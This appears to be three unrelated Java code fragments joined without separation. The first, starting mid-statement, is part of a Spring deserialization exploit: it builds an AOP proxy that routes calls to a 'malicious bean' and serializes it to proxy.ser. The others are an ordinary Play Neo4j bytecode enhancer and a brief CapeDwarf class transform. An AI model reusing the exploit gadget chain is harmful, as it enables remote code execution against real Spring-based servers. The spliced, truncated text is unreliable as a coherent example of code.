AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides2.setAccessible(true); methodOverrides2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides()); Field autowireCandidateResolver = DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver"); autowireCandidateResolver.setAccessible(true); autowireCandidateResolver.set(beanFactory, null); System.out.println( "[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver()); } catch (Exception i) { i.printStackTrace(); System.exit(-1); } // AbstractBeanFactoryBasedTargetSource System.out.println( "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory"); SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource(); targetSource.setTargetBeanName("exploit"); targetSource.setBeanFactory(beanFactory); // JdkDynamicAopProxy (invocationhandler) System.out.println( "[+] Creating the handler and configuring the target source pointing to our malicious bean factory"); AdvisedSupport config = new AdvisedSupport(); config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy config.setTargetSource(targetSource); DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory(); InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config); // Proxy System.out.println( "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler"); Contact proxy = (Contact) Proxy.newProxyInstance( Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler); // System.out.println("[+] Trying exploit locally " + proxy.getName()); // Now lets serialize the proxy System.out.println("[+] Serializating malicious proxy"); try { FileOutputStream fileOut = new FileOutputStream("proxy.ser"); ObjectOutputStream outStream = new ObjectOutputStream(fileOut); outStream.writeObject(proxy); outStream.close(); fileOut.close(); } catch (IOException i) { i.printStackTrace(); } System.out.println("[+] Successfully serialized: " + proxy.getClass().getName()); }
@Override public void enhanceThisClass(ApplicationClass applicationClass) throws Exception { CtClass ctClass = makeClass(applicationClass); String entityName = ctClass.getName(); Logger.debug("Enhance class " + entityName); // Only enhance Neo4jModel classes. if (!ctClass.subtypeOf(classPool.get("play.modules.neo4j.model.Neo4jModel"))) { return; } // Add a default constructor if needed try { for (CtConstructor constructor : ctClass.getDeclaredConstructors()) { if (constructor.getParameterTypes().length == 0) { ctClass.removeConstructor(constructor); } if (constructor.getParameterTypes().length == 1 && constructor.getParameterTypes()[0].getClass().isInstance(Node.class)) { ctClass.removeConstructor(constructor); } } if (!ctClass.isInterface()) { Logger.debug("Adding default constructor"); CtConstructor defaultConstructor = CtNewConstructor.make("public " + ctClass.getSimpleName() + "() { super();}", ctClass); ctClass.addConstructor(defaultConstructor); } } catch (Exception e) { Logger.error(e, "Error in PropertiesEnhancer"); throw new UnexpectedException("Error in PropertiesEnhancer", e); } // for all field, we add getter / setter for (CtField ctField : ctClass.getDeclaredFields()) { try { // Property name String propertyName = ctField.getName().substring(0, 1).toUpperCase() + ctField.getName().substring(1); String getter = "get" + propertyName; String setter = "set" + propertyName; Logger.debug("Field " + ctField.getName() + " is a property ?"); if (isProperty(ctField)) { Logger.debug("true"); // ~~~~~~~~~ // GETTER // ~~~~~~~ try { CtMethod ctMethod = ctClass.getDeclaredMethod(getter); if (!ctMethod.getName().equalsIgnoreCase("getShouldBeSave")) { ctClass.removeMethod(ctMethod); throw new NotFoundException("it's not a true getter !"); } } catch (NotFoundException noGetter) { // create getter Logger.debug("Adding getter " + getter + " for class " + entityName); // @formatter:off String code = "public " + ctField.getType().getName() + " " + getter + "() {" + "if(this.shouldBeSave == Boolean.FALSE && this.node != null){" + "return ((" + ctField.getType().getName() + ") play.modules.neo4j.util.Binder.bindFromNeo4jFormat(this.node.getProperty(\"" + ctField.getName() + "\", null)," + ctField.getType().getName() + ".class ));" + "}else{" + "return " + ctField.getName() + ";" + "}" + "}"; // @formatter:on Logger.debug(code); CtMethod getMethod = CtMethod.make(code, ctClass); ctClass.addMethod(getMethod); } // ~~~~~~~~~ // SETTER // ~~~~~~~ try { CtMethod ctMethod = ctClass.getDeclaredMethod(setter); if (ctMethod.getParameterTypes().length != 1 || !ctMethod.getParameterTypes()[0].equals(ctField.getType()) || Modifier.isStatic(ctMethod.getModifiers()) || hasPlayPropertiesAccessorAnnotation(ctMethod)) { if (hasPlayPropertiesAccessorAnnotation(ctMethod)) { ctClass.removeMethod(ctMethod); } throw new NotFoundException("it's not a true setter !"); } } catch (NotFoundException noSetter) { // create setter Logger.debug("Adding setter " + setter + " for class " + entityName); // @formatter:off String code = "public void " + setter + "(" + ctField.getType().getName() + " value) { " + "this." + ctField.getName() + " = value;" + "this.shouldBeSave = Boolean.TRUE;" + "}"; // formatter:on CtMethod setMethod = CtMethod.make(code, ctClass); Logger.debug(code); ctClass.addMethod(setMethod); } } else { // ~~~~~~~~~ // GETTER for neo4j relation property // ~~~~~~~ if (hasNeo4jRelationAnnotation(ctField)) { // test for related annotation Neo4jRelatedTo relatedTo = getRelatedAnnotation(ctField); if (relatedTo != null) { CtMethod ctMethod = ctClass.getDeclaredMethod(getter); ctClass.removeMethod(ctMethod); String code; if (relatedTo.lazy()) { // @formatter:off code = "public " + ctField.getType().getName() + " " + getter + "() {" + "if(this." + ctField.getName() + " == null){" + "java.lang.reflect.Field field = this.getClass().getField(\"" + ctField.getName() + "\");" + "this." + ctField.getName() + "=play.modules.neo4j.relationship.Neo4jRelationFactory.getModelsFromRelation(\"" + relatedTo.value() + "\", \"" + relatedTo.direction() + "\", field, this.node);" + "}" + "return " + ctField.getName() + ";" + "}"; // @formatter:on } else { // @formatter:off code = "public " + ctField.getType().getName() + " " + getter + "() {" + "return " + ctField.getName() + ";" + "}"; // @formatter:on } Logger.debug(code); CtMethod method = CtMethod.make(code, ctClass); ctClass.addMethod(method); } // test for unique relation annotation Neo4jUniqueRelation uniqueRelation = getUniqueRelationAnnotation(ctField); if (uniqueRelation != null) { CtMethod ctMethod = ctClass.getDeclaredMethod(getter); ctClass.removeMethod(ctMethod); String code; // @formatter:off code = "public " + ctField.getType().getName() + " " + getter + "() {" + "return (" + ctField.getType().getName() + ")" + ctField.getName() + ";" + "}"; // @formatter:on Logger.debug(code); CtMethod method = CtMethod.make(code, ctClass); ctClass.addMethod(method); } } } } catch (Exception e) { Logger.error(e, "Error in PropertiesEnhancer"); throw new UnexpectedException("Error in PropertiesEnhancer", e); } } // Adding getByKey() method Logger.debug("Adding getByKey() method for class " + entityName); // @formatter:off String codeGetByKey = "public static play.modules.neo4j.model.Neo4jModel getByKey(Long key) throws play.modules.neo4j.exception.Neo4jException {" + "return (" + entityName + ")_getByKey(key, \"" + entityName + "\");" + "}"; // @formatter:on Logger.debug(codeGetByKey); CtMethod getByKeyMethod = CtMethod.make(codeGetByKey, ctClass); ctClass.addMethod(getByKeyMethod); // ~~~~~~~~~~~~~~~ // Adding findAll() method // @formatter:off String codeFindAll = "public static java.util.List findAll() {" + "return " + entityName + "._findAll(\"" + entityName + "\");" + "}"; // @formatter:on Logger.debug(codeFindAll); CtMethod findAllMethod = CtMethod.make(codeFindAll, ctClass); ctClass.addMethod(findAllMethod); // ~~~~~~~~~~~~~~~ // Adding queryIndex() method // @formatter:off String queryIndex = "public static java.util.List queryIndex(String indexname, String query) {" + "return " + entityName + "._queryIndex(indexname, query);" + "}"; // @formatter:on Logger.debug(queryIndex); CtMethod queryIndexMethod = CtMethod.make(queryIndex, ctClass); ctClass.addMethod(queryIndexMethod); // Done. applicationClass.enhancedByteCode = ctClass.toBytecode(); ctClass.defrost(); }
protected void transform(CtClass clazz) throws Exception { final CtMethod method = clazz.getDeclaredMethod("getQuotaService", new CtClass[] {}); method.setBody( toProxy(QuotaService.class, "new org.jboss.capedwarf.quota.CapedwarfQuotaService()")); }